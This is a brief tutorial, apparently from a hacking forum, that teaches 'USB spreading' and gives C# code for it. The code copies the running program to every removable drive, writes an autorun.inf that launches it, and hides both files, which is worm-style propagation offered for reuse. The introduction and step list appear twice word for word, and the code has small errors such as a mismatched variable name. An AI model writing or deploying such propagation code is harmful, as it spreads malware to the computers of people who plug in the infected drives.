USB Spreading is actually very easy to perform.Algorythm to do so consists of 4 steps:
1.Geting the list of USB drives
2.Copying file(s) to USB drive
3.Editing autorun.inf file
4.Hiding autorun.inf and copied files
In this tutorial i'm using C#, but it can be done in any programming language.This is function that spreads the running file to the all USB drives.If you are just copying my code, please give me some credits.
1.Geting the list of USB drives
2.Copying file(s) to USB drive
3.Editing autorun.inf file
4.Hiding autorun.inf and copied files
In this tutorial i'm using C#, but it can be done in any programming language.This is function that spreads the running file to the all USB drives.If you are just copying my code, please give me some credits.
Code
using System.IO;
void USBSpread()
{
DriveInfo[] Drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
writer.WriteLine("[autorun]\n");
writer.WriteLine("open=file.exe");
writer.WriteLine("action=Run win32");
writer.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);
File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);
}
}
}

